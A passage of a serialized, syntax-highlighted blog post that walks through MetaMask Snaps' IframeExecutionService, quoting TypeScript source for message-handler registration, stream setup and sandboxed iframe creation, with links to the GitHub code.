setupSnapProvider:",{"type":19,"tag":168,"props":33248,"children":33249},{"style":382},[33250],{"type":24,"value":33191},{"type":19,"tag":168,"props":33252,"children":33253},{"style":212},[33254],{"type":24,"value":948},{"type":19,"tag":168,"props":33256,"children":33257},{"style":393},[33258],{"type":24,"value":33259},"setupSnapProvider",{"type":19,"tag":168,"props":33261,"children":33262},{"style":212},[33263],{"type":24,"value":948},{"type":19,"tag":168,"props":33265,"children":33266},{"style":175},[33267],{"type":24,"value":33268},"bind",{"type":19,"tag":168,"props":33270,"children":33271},{"style":212},[33272],{"type":24,"value":500},{"type":19,"tag":168,"props":33274,"children":33275},{"style":382},[33276],{"type":24,"value":15143},{"type":19,"tag":168,"props":33278,"children":33279},{"style":212},[33280],{"type":24,"value":4172},{"type":19,"tag":168,"props":33282,"children":33283},{"class":170,"line":725},[33284],{"type":19,"tag":168,"props":33285,"children":33286},{"style":212},[33287],{"type":24,"value":14026},{"type":19,"tag":168,"props":33289,"children":33290},{"class":170,"line":746},[33291],{"type":19,"tag":168,"props":33292,"children":33293},{"emptyLinePlaceholder":14},[33294],{"type":24,"value":1093},{"type":19,"tag":168,"props":33296,"children":33297},{"class":170,"line":755},[33298],{"type":19,"tag":168,"props":33299,"children":33300},{"style":373},[33301],{"type":24,"value":33302},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":19,"tag":168,"props":33304,"children":33305},{"class":170,"line":1008},[33306,33310,33314,33318,33322,33326],{"type":19,"tag":168,"props":33307,"children":33308},{"style":393},[33309],{"type":24,"value":33156},{"type":19,"tag":168,"props":33311,"children":33312},{"style":212},[33313],{"type":24,"value":948},{"type":19,"tag":168,"props":33315,"children":33316},{"style":393},[33317],{"type":24,"value":33165},{"type":19,"tag":168,"props":33319,"children":33320},{"style":212},[33321],{"type":24,"value":948},{"type":19,"tag":168,"props":33323,"children":33324},{"style":393},[33325],{"type":24,"value":33174},{"type":19,"tag":168,"props":33327,"children":33328},{"style":399},[33329],{"type":24,"value":33330}," =\n",{"type":19,"tag":168,"props":33332,"children":33333},{"class":170,"line":1025},[33334,33339],{"type":19,"tag":168,"props":33335,"children":33336},{"style":181},[33337],{"type":24,"value":33338}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":19,"tag":168,"props":33340,"children":33341},{"style":212},[33342],{"type":24,"value":412},{"type":19,"tag":168,"props":33344,"children":33345},{"class":170,"line":1042},[33346],{"type":19,"tag":168,"props":33347,"children":33348},{"style":373},[33349],{"type":24,"value":33110},{"type":19,"tag":20,"props":33351,"children":33352},{},[33353,33355,33361,33363,33369,33371,33376],{"type":24,"value":33354},"This code is defining the ",{"type":19,"tag":27,"props":33356,"children":33358},{"className":33357},[],[33359],{"type":24,"value":33360},"snapExecutionServiceArgs",{"type":24,"value":33362}," object, which contains information required for the ",{"type":19,"tag":27,"props":33364,"children":33366},{"className":33365},[],[33367],{"type":24,"value":33368},"IframeExecutionService",{"type":24,"value":33370}," to execute snaps. The ",{"type":19,"tag":27,"props":33372,"children":33374},{"className":33373},[],[33375],{"type":24,"value":33174},{"type":24,"value":33377}," points to the location where the execution environment resides.",{"type":19,"tag":16345,"props":33379,"children":33381},{"id":33380},"executing-snaps-iframeexecutionservice-in-action",[33382],{"type":24,"value":33383},"Executing Snaps: IframeExecutionService in Action",{"type":19,"tag":20,"props":33385,"children":33386},{},[33387,33389,33394,33396,33402],{"type":24,"value":33388},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":19,"tag":27,"props":33390,"children":33392},{"className":33391},[],[33393],{"type":24,"value":33368},{"type":24,"value":33395}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":19,"tag":269,"props":33397,"children":33400},{"href":33398,"rel":33399},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[273],[33401],{"type":24,"value":27},{"type":24,"value":1922},{"type":19,"tag":158,"props":33404,"children":33408},{"className":33405,"code":33406,"language":33407,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[33409],{"type":19,"tag":27,"props":33410,"children":33411},{"__ignoreMap":7},[33412,33420,33449,33479,33532,33569,33576,33583,33591,33598,33605,33613,33648,33656,33712,33774,33782],{"type":19,"tag":168,"props":33413,"children":33414},{"class":170,"line":171},[33415],{"type":19,"tag":168,"props":33416,"children":33417},{"style":373},[33418],{"type":24,"value":33419},"// Register message handlers for snap interactions\n",{"type":19,"tag":168,"props":33421,"children":33422},{"class":170,"line":198},[33423,33427,33431,33436,33440,33445],{"type":19,"tag":168,"props":33424,"children":33425},{"style":382},[33426],{"type":24,"value":15143},{"type":19,"tag":168,"props":33428,"children":33429},{"style":212},[33430],{"type":24,"value":948},{"type":19,"tag":168,"props":33432,"children":33433},{"style":393},[33434],{"type":24,"value":33435},"#messenger",{"type":19,"tag":168,"props":33437,"children":33438},{"style":212},[33439],{"type":24,"value":948},{"type":19,"tag":168,"props":33441,"children":33442},{"style":175},[33443],{"type":24,"value":33444},"registerActionHandler",{"type":19,"tag":168,"props":33446,"children":33447},{"style":212},[33448],{"type":24,"value":870},{"type":19,"tag":168,"props":33450,"children":33451},{"class":170,"line":415},[33452,33457,33461,33466,33470,33475],{"type":19,"tag":168,"props":33453,"children":33454},{"style":181},[33455],{"type":24,"value":33456}," `",{"type":19,"tag":168,"props":33458,"children":33459},{"style":382},[33460],{"type":24,"value":31582},{"type":19,"tag":168,"props":33462,"children":33463},{"style":393},[33464],{"type":24,"value":33465},"controllerName",{"type":19,"tag":168,"props":33467,"children":33468},{"style":382},[33469],{"type":24,"value":31614},{"type":19,"tag":168,"props":33471,"children":33472},{"style":181},[33473],{"type":24,"value":33474},":handleRpcRequest`",{"type":19,"tag":168,"props":33476,"children":33477},{"style":212},[33478],{"type":24,"value":915},{"type":19,"tag":168,"props":33480,"children":33481},{"class":170,"line":450},[33482,33487,33491,33496,33500,33505,33509,33514,33518,33523,33527],{"type":19,"tag":168,"props":33483,"children":33484},{"style":382},[33485],{"type":24,"value":33486}," async",{"type":19,"tag":168,"props":33488,"children":33489},{"style":212},[33490],{"type":24,"value":461},{"type":19,"tag":168,"props":33492,"children":33493},{"style":393},[33494],{"type":24,"value":33495},"snapId",{"type":19,"tag":168,"props":33497,"children":33498},{"style":399},[33499],{"type":24,"value":1922},{"type":19,"tag":168,"props":33501,"children":33502},{"style":825},[33503],{"type":24,"value":33504}," string",{"type":19,"tag":168,"props":33506,"children":33507},{"style":212},[33508],{"type":24,"value":471},{"type":19,"tag":168,"props":33510,"children":33511},{"style":393},[33512],{"type":24,"value":33513},"options",{"type":19,"tag":168,"props":33515,"children":33516},{"style":399},[33517],{"type":24,"value":1922},{"type":19,"tag":168,"props":33519,"children":33520},{"style":825},[33521],{"type":24,"value":33522}," SnapRpcHookArgs",{"type":19,"tag":168,"props":33524,"children":33525},{"style":212},[33526],{"type":24,"value":481},{"type":19,"tag":168,"props":33528,"children":33529},{"style":382},[33530],{"type":24,"value":33531},"=>\n",{"type":19,"tag":168,"props":33533,"children":33534},{"class":170,"line":560},[33535,33540,33544,33549,33553,33557,33561,33565],{"type":19,"tag":168,"props":33536,"children":33537},{"style":382},[33538],{"type":24,"value":33539}," this",{"type":19,"tag":168,"props":33541,"children":33542},{"style":212},[33543],{"type":24,"value":948},{"type":19,"tag":168,"props":33545,"children":33546},{"style":175},[33547],{"type":24,"value":33548},"handleRpcRequest",{"type":19,"tag":168,"props":33550,"children":33551},{"style":212},[33552],{"type":24,"value":500},{"type":19,"tag":168,"props":33554,"children":33555},{"style":393},[33556],{"type":24,"value":33495},{"type":19,"tag":168,"props":33558,"children":33559},{"style":212},[33560],{"type":24,"value":471},{"type":19,"tag":168,"props":33562,"children":33563},{"style":393},[33564],{"type":24,"value":33513},{"type":19,"tag":168,"props":33566,"children":33567},{"style":212},[33568],{"type":24,"value":4172},{"type":19,"tag":168,"props":33570,"children":33571},{"class":170,"line":666},[33572],{"type":19,"tag":168,"props":33573,"children":33574},{"style":212},[33575],{"type":24,"value":1249},{"type":19,"tag":168,"props":33577,"children":33578},{"class":170,"line":694},[33579],{"type":19,"tag":168,"props":33580,"children":33581},{"emptyLinePlaceholder":14},[33582],{"type":24,"value":1093},{"type":19,"tag":168,"props":33584,"children":33585},{"class":170,"line":707},[33586],{"type":19,"tag":168,"props":33587,"children":33588},{"style":373},[33589],{"type":24,"value":33590},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":19,"tag":168,"props":33592,"children":33593},{"class":170,"line":725},[33594],{"type":19,"tag":168,"props":33595,"children":33596},{"style":373},[33597],{"type":24,"value":33110},{"type":19,"tag":168,"props":33599,"children":33600},{"class":170,"line":746},[33601],{"type":19,"tag":168,"props":33602,"children":33603},{"emptyLinePlaceholder":14},[33604],{"type":24,"value":1093},{"type":19,"tag":168,"props":33606,"children":33607},{"class":170,"line":755},[33608],{"type":19,"tag":168,"props":33609,"children":33610},{"style":373},[33611],{"type":24,"value":33612},"// Execute a snap\n",{"type":19,"tag":168,"props":33614,"children":33615},{"class":170,"line":1008},[33616,33621,33626,33630,33635,33639,33644],{"type":19,"tag":168,"props":33617,"children":33618},{"style":393},[33619],{"type":24,"value":33620},"async",{"type":19,"tag":168,"props":33622,"children":33623},{"style":175},[33624],{"type":24,"value":33625}," executeSnap",{"type":19,"tag":168,"props":33627,"children":33628},{"style":212},[33629],{"type":24,"value":500},{"type":19,"tag":168,"props":33631,"children":33632},{"style":393},[33633],{"type":24,"value":33634},"snapData",{"type":19,"tag":168,"props":33636,"children":33637},{"style":212},[33638],{"type":24,"value":12778},{"type":19,"tag":168,"props":33640,"children":33641},{"style":393},[33642],{"type":24,"value":33643},"SnapExecutionData",{"type":19,"tag":168,"props":33645,"children":33646},{"style":212},[33647],{"type":24,"value":12250},{"type":19,"tag":168,"props":33649,"children":33650},{"class":170,"line":1025},[33651],{"type":19,"tag":168,"props":33652,"children":33653},{"style":373},[33654],{"type":24,"value":33655}," // Initialize job, streams, and environment\n",{"type":19,"tag":168,"props":33657,"children":33658},{"class":170,"line":1042},[33659,33664,33668,33673,33678,33682,33687,33691,33695,33700,33704,33708],{"type":19,"tag":168,"props":33660,"children":33661},{"style":382},[33662],{"type":24,"value":33663}," const",{"type":19,"tag":168,"props":33665,"children":33666},{"style":212},[33667],{"type":24,"value":7027},{"type":19,"tag":168,"props":33669,"children":33670},{"style":393},[33671],{"type":24,"value":33672},"jobId",{"type":19,"tag":168,"props":33674,"children":33675},{"style":212},[33676],{"type":24,"value":33677}," } ",{"type":19,"tag":168,"props":33679,"children":33680},{"style":399},[33681],{"type":24,"value":486},{"type":19,"tag":168,"props":33683,"children":33684},{"style":419},[33685],{"type":24,"value":33686}," await",{"type":19,"tag":168,"props":33688,"children":33689},{"style":382},[33690],{"type":24,"value":33191},{"type":19,"tag":168,"props":33692,"children":33693},{"style":212},[33694],{"type":24,"value":948},{"type":19,"tag":168,"props":33696,"children":33697},{"style":175},[33698],{"type":24,"value":33699},"initJob",{"type":19,"tag":168,"props":33701,"children":33702},{"style":212},[33703],{"type":24,"value":500},{"type":19,"tag":168,"props":33705,"children":33706},{"style":393},[33707],{"type":24,"value":33634},{"type":19,"tag":168,"props":33709,"children":33710},{"style":212},[33711],{"type":24,"value":1249},{"type":19,"tag":168,"props":33713,"children":33714},{"class":170,"line":1055},[33715,33719,33723,33728,33732,33737,33741,33745,33749,33753,33757,33762,33766,33770],{"type":19,"tag":168,"props":33716,"children":33717},{"style":382},[33718],{"type":24,"value":33663},{"type":19,"tag":168,"props":33720,"children":33721},{"style":212},[33722],{"type":24,"value":7027},{"type":19,"tag":168,"props":33724,"children":33725},{"style":393},[33726],{"type":24,"value":33727},"worker",{"type":19,"tag":168,"props":33729,"children":33730},{"style":212},[33731],{"type":24,"value":471},{"type":19,"tag":168,"props":33733,"children":33734},{"style":393},[33735],{"type":24,"value":33736},"stream",{"type":19,"tag":168,"props":33738,"children":33739},{"style":212},[33740],{"type":24,"value":33677},{"type":19,"tag":168,"props":33742,"children":33743},{"style":399},[33744],{"type":24,"value":486},{"type":19,"tag":168,"props":33746,"children":33747},{"style":419},[33748],{"type":24,"value":33686},{"type":19,"tag":168,"props":33750,"children":33751},{"style":382},[33752],{"type":24,"value":33191},{"type":19,"tag":168,"props":33754,"children":33755},{"style":212},[33756],{"type":24,"value":948},{"type":19,"tag":168,"props":33758,"children":33759},{"style":175},[33760],{"type":24,"value":33761},"initEnvStream",{"type":19,"tag":168,"props":33763,"children":33764},{"style":212},[33765],{"type":24,"value":500},{"type":19,"tag":168,"props":33767,"children":33768},{"style":393},[33769],{"type":24,"value":33672},{"type":19,"tag":168,"props":33771,"children":33772},{"style":212},[33773],{"type":24,"value":1249},{"type":19,"tag":168,"props":33775,"children":33776},{"class":170,"line":1064},[33777],{"type":19,"tag":168,"props":33778,"children":33779},{"style":373},[33780],{"type":24,"value":33781}," // ...\n",{"type":19,"tag":168,"props":33783,"children":33784},{"class":170,"line":1087},[33785],{"type":19,"tag":168,"props":33786,"children":33787},{"style":212},[33788],{"type":24,"value":1326},{"type":19,"tag":20,"props":33790,"children":33791},{},[33792,33793,33798,33800,33806],{"type":24,"value":14062},{"type":19,"tag":27,"props":33794,"children":33796},{"className":33795},[],[33797],{"type":24,"value":33368},{"type":24,"value":33799}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":19,"tag":27,"props":33801,"children":33803},{"className":33802},[],[33804],{"type":24,"value":33805},"${controllerName}:executeSnap",{"type":24,"value":33807}," handler triggers the snap execution process.",{"type":19,"tag":16345,"props":33809,"children":33811},{"id":33810},"step-by-step-execution-from-initialization-to-iframe-creation",[33812,33814],{"type":24,"value":33813},"Step-by-Step Execution: From Initialization to iFrame ",{"type":19,"tag":269,"props":33815,"children":33818},{"href":33816,"rel":33817},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[273],[33819],{"type":24,"value":33820},"creation",{"type":19,"tag":158,"props":33822,"children":33824},{"className":33405,"code":33823,"language":33407,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[33825],{"type":19,"tag":27,"props":33826,"children":33827},{"__ignoreMap":7},[33828,33877,33898,33919,33927,33991,33998,34026,34043,34060,34077,34094,34101,34108,34132],{"type":19,"tag":168,"props":33829,"children":33830},{"class":170,"line":171},[33831,33836,33841,33846,33850,33854,33858,33862,33867,33872],{"type":19,"tag":168,"props":33832,"children":33833},{"style":393},[33834],{"type":24,"value":33835},"protected",{"type":19,"tag":168,"props":33837,"children":33838},{"style":393},[33839],{"type":24,"value":33840}," async",{"type":19,"tag":168,"props":33842,"children":33843},{"style":175},[33844],{"type":24,"value":33845}," initEnvStream",{"type":19,"tag":168,"props":33847,"children":33848},{"style":212},[33849],{"type":24,"value":500},{"type":19,"tag":168,"props":33851,"children":33852},{"style":393},[33853],{"type":24,"value":33672},{"type":19,"tag":168,"props":33855,"children":33856},{"style":212},[33857],{"type":24,"value":12778},{"type":19,"tag":168,"props":33859,"children":33860},{"style":393},[33861],{"type":24,"value":27137},{"type":19,"tag":168,"props":33863,"children":33864},{"style":212},[33865],{"type":24,"value":33866},"): ",{"type":19,"tag":168,"props":33868,"children":33869},{"style":825},[33870],{"type":24,"value":33871},"Promise",{"type":19,"tag":168,"props":33873,"children":33874},{"style":212},[33875],{"type":24,"value":33876},"\u003C{\n",{"type":19,"tag":168,"props":33878,"children":33879},{"class":170,"line":198},[33880,33885,33889,33894],{"type":19,"tag":168,"props":33881,"children":33882},{"style":393},[33883],{"type":24,"value":33884}," worker",{"type":19,"tag":168,"props":33886,"children":33887},{"style":399},[33888],{"type":24,"value":1922},{"type":19,"tag":168,"props":33890,"children":33891},{"style":825},[33892],{"type":24,"value":33893}," Window",{"type":19,"tag":168,"props":33895,"children":33896},{"style":212},[33897],{"type":24,"value":412},{"type":19,"tag":168,"props":33899,"children":33900},{"class":170,"line":415},[33901,33906,33910,33915],{"type":19,"tag":168,"props":33902,"children":33903},{"style":393},[33904],{"type":24,"value":33905}," stream",{"type":19,"tag":168,"props":33907,"children":33908},{"style":399},[33909],{"type":24,"value":1922},{"type":19,"tag":168,"props":33911,"children":33912},{"style":825},[33913],{"type":24,"value":33914}," BasePostMessageStream",{"type":19,"tag":168,"props":33916,"children":33917},{"style":212},[33918],{"type":24,"value":412},{"type":19,"tag":168,"props":33920,"children":33921},{"class":170,"line":450},[33922],{"type":19,"tag":168,"props":33923,"children":33924},{"style":212},[33925],{"type":24,"value":33926}," }> {\n",{"type":19,"tag":168,"props":33928,"children":33929},{"class":170,"line":560},[33930,33935,33940,33944,33948,33953,33957,33961,33965,33970,33974,33979,33983,33987],{"type":19,"tag":168,"props":33931,"children":33932},{"style":212},[33933],{"type":24,"value":33934}," const ",{"type":19,"tag":168,"props":33936,"children":33937},{"style":393},[33938],{"type":24,"value":33939},"iframeWindow",{"type":19,"tag":168,"props":33941,"children":33942},{"style":399},[33943],{"type":24,"value":402},{"type":19,"tag":168,"props":33945,"children":33946},{"style":419},[33947],{"type":24,"value":33686},{"type":19,"tag":168,"props":33949,"children":33950},{"style":175},[33951],{"type":24,"value":33952}," createWindow",{"type":19,"tag":168,"props":33954,"children":33955},{"style":212},[33956],{"type":24,"value":500},{"type":19,"tag":168,"props":33958,"children":33959},{"style":382},[33960],{"type":24,"value":15143},{"type":19,"tag":168,"props":33962,"children":33963},{"style":212},[33964],{"type":24,"value":948},{"type":19,"tag":168,"props":33966,"children":33967},{"style":393},[33968],{"type":24,"value":33969},"iframeUrl",{"type":19,"tag":168,"props":33971,"children":33972},{"style":212},[33973],{"type":24,"value":948},{"type":19,"tag":168,"props":33975,"children":33976},{"style":175},[33977],{"type":24,"value":33978},"toString",{"type":19,"tag":168,"props":33980,"children":33981},{"style":212},[33982],{"type":24,"value":15826},{"type":19,"tag":168,"props":33984,"children":33985},{"style":393},[33986],{"type":24,"value":33672},{"type":19,"tag":168,"props":33988,"children":33989},{"style":212},[33990],{"type":24,"value":1249},{"type":19,"tag":168,"props":33992,"children":33993},{"class":170,"line":666},[33994],{"type":19,"tag":168,"props":33995,"children":33996},{"emptyLinePlaceholder":14},[33997],{"type":24,"value":1093},{"type":19,"tag":168,"props":33999,"children":34000},{"class":170,"line":694},[34001,34005,34009,34013,34017,34022],{"type":19,"tag":168,"props":34002,"children":34003},{"style":212},[34004],{"type":24,"value":33934},{"type":19,"tag":168,"props":34006,"children":34007},{"style":393},[34008],{"type":24,"value":33736},{"type":19,"tag":168,"props":34010,"children":34011},{"style":399},[34012],{"type":24,"value":402},{"type":19,"tag":168,"props":34014,"children":34015},{"style":382},[34016],{"type":24,"value":29405},{"type":19,"tag":168,"props":34018,"children":34019},{"style":175},[34020],{"type":24,"value":34021}," WindowPostMessageStream",{"type":19,"tag":168,"props":34023,"children":34024},{"style":212},[34025],{"type":24,"value":12587},{"type":19,"tag":168,"props":34027,"children":34028},{"class":170,"line":707},[34029,34034,34039],{"type":19,"tag":168,"props":34030,"children":34031},{"style":393},[34032],{"type":24,"value":34033}," name:",{"type":19,"tag":168,"props":34035,"children":34036},{"style":181},[34037],{"type":24,"value":34038}," 'parent'",{"type":19,"tag":168,"props":34040,"children":34041},{"style":212},[34042],{"type":24,"value":915},{"type":19,"tag":168,"props":34044,"children":34045},{"class":170,"line":725},[34046,34051,34056],{"type":19,"tag":168,"props":34047,"children":34048},{"style":393},[34049],{"type":24,"value":34050}," target:",{"type":19,"tag":168,"props":34052,"children":34053},{"style":181},[34054],{"type":24,"value":34055}," 'child'",{"type":19,"tag":168,"props":34057,"children":34058},{"style":212},[34059],{"type":24,"value":915},{"type":19,"tag":168,"props":34061,"children":34062},{"class":170,"line":746},[34063,34068,34073],{"type":19,"tag":168,"props":34064,"children":34065},{"style":393},[34066],{"type":24,"value":34067}," targetWindow:",{"type":19,"tag":168,"props":34069,"children":34070},{"style":393},[34071],{"type":24,"value":34072}," iframeWindow",{"type":19,"tag":168,"props":34074,"children":34075},{"style":212},[34076],{"type":24,"value":915},{"type":19,"tag":168,"props":34078,"children":34079},{"class":170,"line":755},[34080,34085,34090],{"type":19,"tag":168,"props":34081,"children":34082},{"style":393},[34083],{"type":24,"value":34084}," targetOrigin:",{"type":19,"tag":168,"props":34086,"children":34087},{"style":181},[34088],{"type":24,"value":34089}," '*'",{"type":19,"tag":168,"props":34091,"children":34092},{"style":212},[34093],{"type":24,"value":915},{"type":19,"tag":168,"props":34095,"children":34096},{"class":170,"line":1008},[34097],{"type":19,"tag":168,"props":34098,"children":34099},{"style":212},[34100],{"type":24,"value":29729},{"type":19,"tag":168,"props":34102,"children":34103},{"class":170,"line":1025},[34104],{"type":19,"tag":168,"props":34105,"children":34106},{"emptyLinePlaceholder":14},[34107],{"type":24,"value":1093},{"type":19,"tag":168,"props":34109,"children":34110},{"class":170,"line":1042},[34111,34116,34120,34124,34128],{"type":19,"tag":168,"props":34112,"children":34113},{"style":212},[34114],{"type":24,"value":34115}," return { worker: ",{"type":19,"tag":168,"props":34117,"children":34118},{"style":393},[34119],{"type":24,"value":33939},{"type":19,"tag":168,"props":34121,"children":34122},{"style":212},[34123],{"type":24,"value":471},{"type":19,"tag":168,"props":34125,"children":34126},{"style":393},[34127],{"type":24,"value":33736},{"type":19,"tag":168,"props":34129,"children":34130},{"style":212},[34131],{"type":24,"value":15750},{"type":19,"tag":168,"props":34133,"children":34134},{"class":170,"line":1055},[34135],{"type":19,"tag":168,"props":34136,"children":34137},{"style":212},[34138],{"type":24,"value":3306},{"type":19,"tag":20,"props":34140,"children":34141},{},[34142,34144,34150,34152,34159],{"type":24,"value":34143},"Here the iframe is created via ",{"type":19,"tag":27,"props":34145,"children":34147},{"className":34146},[],[34148],{"type":24,"value":34149},"createWindow",{"type":24,"value":34151},", which is defined in snaps-utils ",{"type":19,"tag":269,"props":34153,"children":34156},{"href":34154,"rel":34155},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[273],[34157],{"type":24,"value":34158},"package",{"type":24,"value":1922},{"type":19,"tag":158,"props":34161,"children":34163},{"className":33405,"code":34162,"language":33407,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[34164],{"type":19,"tag":27,"props":34165,"children":34166},{"__ignoreMap":7},[34167,34210,34248,34285,34292,34312,34350,34357,34394],{"type":19,"tag":168,"props":34168,"children":34169},{"class":170,"line":171},[34170,34174,34179,34183,34188,34192,34197,34201,34206],{"type":19,"tag":168,"props":34171,"children":34172},{"style":382},[34173],{"type":24,"value":7097},{"type":19,"tag":168,"props":34175,"children":34176},{"style":393},[34177],{"type":24,"value":34178}," iframe",{"type":19,"tag":168,"props":34180,"children":34181},{"style":399},[34182],{"type":24,"value":402},{"type":19,"tag":168,"props":34184,"children":34185},{"style":393},[34186],{"type":24,"value":34187}," document",{"type":19,"tag":168,"props":34189,"children":34190},{"style":212},[34191],{"type":24,"value":948},{"type":19,"tag":168,"props":34193,"children":34194},{"style":175},[34195],{"type":24,"value":34196},"createElement",{"type":19,"tag":168,"props":34198,"children":34199},{"style":212},[34200],{"type":24,"value":500},{"type":19,"tag":168,"props":34202,"children":34203},{"style":181},[34204],{"type":24,"value":34205},"'iframe'",{"type":19,"tag":168,"props":34207,"children":34208},{"style":212},[34209],{"type":24,"value":1249},{"type":19,"tag":168,"props":34211,"children":34212},{"class":170,"line":198},[34213,34218,34222,34227,34231,34236,34240,34244],{"type":19,"tag":168,"props":34214,"children":34215},{"style":393},[34216],{"type":24,"value":34217}," iframe",{"type":19,"tag":168,"props":34219,"children":34220},{"style":212},[34221],{"type":24,"value":948},{"type":19,"tag":168,"props":34223,"children":34224},{"style":175},[34225],{"type":24,"value":34226},"setAttribute",{"type":19,"tag":168,"props":34228,"children":34229},{"style":212},[34230],{"type":24,"value":500},{"type":19,"tag":168,"props":34232,"children":34233},{"style":181},[34234],{"type":24,"value":34235},"'id'",{"type":19,"tag":168,"props":34237,"children":34238},{"style":212},[34239],{"type":24,"value":471},{"type":19,"tag":168,"props":34241,"children":34242},{"style":393},[34243],{"type":24,"value":893},{"type":19,"tag":168,"props":34245,"children":34246},{"style":212},[34247],{"type":24,"value":1249},{"type":19,"tag":168,"props":34249,"children":34250},{"class":170,"line":415},[34251,34255,34259,34263,34267,34272,34276,34281],{"type":19,"tag":168,"props":34252,"children":34253},{"style":393},[34254],{"type":24,"value":34217},{"type":19,"tag":168,"props":34256,"children":34257},{"style":212},[34258],{"type":24,"value":948},{"type":19,"tag":168,"props":34260,"children":34261},{"style":175},[34262],{"type":24,"value":34226},{"type":19,"tag":168,"props":34264,"children":34265},{"style":212},[34266],{"type":24,"value":500},{"type":19,"tag":168,"props":34268,"children":34269},{"style":181},[34270],{"type":24,"value":34271},"'data-testid'",{"type":19,"tag":168,"props":34273,"children":34274},{"style":212},[34275],{"type":24,"value":471},{"type":19,"tag":168,"props":34277,"children":34278},{"style":181},[34279],{"type":24,"value":34280},"'snaps-iframe'",{"type":19,"tag":168,"props":34282,"children":34283},{"style":212},[34284],{"type":24,"value":1249},{"type":19,"tag":168,"props":34286,"children":34287},{"class":170,"line":450},[34288],{"type":19,"tag":168,"props":34289,"children":34290},{"emptyLinePlaceholder":14},[34291],{"type":24,"value":1093},{"type":19,"tag":168,"props":34293,"children":34294},{"class":170,"line":560},[34295,34299,34303,34308],{"type":19,"tag":168,"props":34296,"children":34297},{"style":419},[34298],{"type":24,"value":9724},{"type":19,"tag":168,"props":34300,"children":34301},{"style":212},[34302],{"type":24,"value":461},{"type":19,"tag":168,"props":34304,"children":34305},{"style":393},[34306],{"type":24,"value":34307},"sandbox",{"type":19,"tag":168,"props":34309,"children":34310},{"style":212},[34311],{"type":24,"value":12250},{"type":19,"tag":168,"props":34313,"children":34314},{"class":170,"line":666},[34315,34320,34324,34328,34332,34337,34341,34346],{"type":19,"tag":168,"props":34316,"children":34317},{"style":393},[34318],{"type":24,"value":34319}," iframe",{"type":19,"tag":168,"props":34321,"children":34322},{"style":212},[34323],{"type":24,"value":948},{"type":19,"tag":168,"props":34325,"children":34326},{"style":175},[34327],{"type":24,"value":34226},{"type":19,"tag":168,"props":34329,"children":34330},{"style":212},[34331],{"type":24,"value":500},{"type":19,"tag":168,"props":34333,"children":34334},{"style":181},[34335],{"type":24,"value":34336},"'sandbox'",{"type":19,"tag":168,"props":34338,"children":34339},{"style":212},[34340],{"type":24,"value":471},{"type":19,"tag":168,"props":34342,"children":34343},{"style":181},[34344],{"type":24,"value":34345},"'allow-scripts'",{"type":19,"tag":168,"props":34347,"children":34348},{"style":212},[34349],{"type":24,"value":1249},{"type":19,"tag":168,"props":34351,"children":34352},{"class":170,"line":694},[34353],{"type":19,"tag":168,"props":34354,"children":34355},{"style":212},[34356],{"type":24,"value":761},{"type":19,"tag":168,"props":34358,"children":34359},{"class":170,"line":707},[34360,34364,34368,34372,34376,34381,34385,34390],{"type":19,"tag":168,"props":34361,"children":34362},{"style":393},[34363],{"type":24,"value":34217},{"type":19,"tag":168,"props":34365,"children":34366},{"style":212},[34367],{"type":24,"value":948},{"type":19,"tag":168,"props":34369,"children":34370},{"style":175},[34371],{"type":24,"value":34226},{"type":19,"tag":168,"props":34373,"children":34374},{"style":212},[34375],{"type":24,"value":500},{"type":19,"tag":168,"props":34377,"children":34378},{"style":181},[34379],{"type":24,"value":34380},"'src'",{"type":19,"tag":168,"props":34382,"children":34383},{"style":212},[34384],{"type":24,"value":471},{"type":19,"tag":168,"props":34386,"children":34387},{"style":393},[34388],{"type":24,"value":34389},"uri",{"type":19,"tag":168,"props":34391,"children":34392},{"style":212},[34393],{"type":24,"value":1249},{"type":19,"tag":168,"props":34395,"children":34396},{"class":170,"line":725},[34397,34401,34405,34409,34413,34418,34422,34427],{"type":19,"tag":168,"props":34398,"children":34399},{"style":393},[34400],{"type":24,"value":32147},{"type":19,"tag":168,"props":34402,"children":34403},{"style":212},[34404],{"type":24,"value":948},{"type":19,"tag":168,"props":34406,"children":34407},{"style":393},[34408],{"type":24,"value":29872},{"type":19,"tag":168,"props":34410,"children":34411},{"style":212},[34412],{"type":24,"value":948},{"type":19,"tag":168,"props":34414,"children":34415},{"style":175},[34416],{"type":24,"value":34417},"appendChild",{"type":19,"tag":168,"props":34419,"children":34420},{"style":212},[34421],{"type":24,"value":500},{"type":19,"tag":168,"props":34423,"children":34424},{"style":393},[34425],{"type":24,"value":34426},"iframe",{"type":19,"tag":168,"props":34428,"children":34429},{"style":212},[34430],{"type":24,"value":1249},{"type":19,"tag":20,"props":34432,"children":34433},{},[34434],{